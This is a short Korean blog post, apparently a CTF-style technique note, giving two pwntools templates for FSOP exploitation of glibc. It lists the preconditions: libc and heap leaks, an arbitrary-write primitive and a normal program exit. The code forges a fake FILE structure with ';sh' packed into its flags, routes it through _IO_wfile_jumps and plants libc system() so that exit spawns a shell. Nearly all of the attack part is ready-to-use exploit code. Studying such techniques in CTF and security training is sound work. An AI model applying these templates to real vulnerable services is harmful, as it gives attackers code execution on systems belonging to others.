[Exploit Tech Analysis][FSOP] Template for Shell
FSOP에 대한 이해가 필요합니다.
자세한 내용은 이 글을 참고하세요.
1. Heap에 만들고 chain 덮기
- heap leak이 된 상태
- libc leak이 된 상태
- 최소 0x8 바이트 이상의 AAW Primitive
- 정상적인 종료 (
exit()
호출 / main에서 return)
# stderr / stdout / stdin의 chain을 힙상의 가짜 file struct로 바꿔야 함
# offset: +0x68
write(_IO_2_1_stderr_+0x68, fake_file_address)
fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = fake_file_address
fs._lock = fake_file_address + 0x100 # 쓰기 가능한 주소면 어디든 OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(fake_file_address + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0
write(fake_file_address, bytes(fs))
2. 구조체 자체를 덮기
- libc leak이 된 상태
- 최소 0xe0 이상의 AAW Primitive
- 정상적인 종료 (
exit()
호출 / main에서 return)
target = _IO_2_1_stdout_ | _IO_2_1_stderr_ | _IO_2_1_stdin_
# 추천: stderr
fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = libc.symbols["_IO_2_1_stderr_"]
fs._lock = libc.bss() + 0x100 # 쓰기 가능한 주소면 어디든 OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(libc.symbols["_IO_2_1_stderr_"] + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0
write(fake_file_address, bytes(fs))
_IO_2_1_stderr
이외의 다른 구조체를 쓰고 싶다면 바꿔주면 되지만 화면에 출력이 안 되거나 입력을 못 받는 상황이 생길 가능성이 다분함!
Leave a comment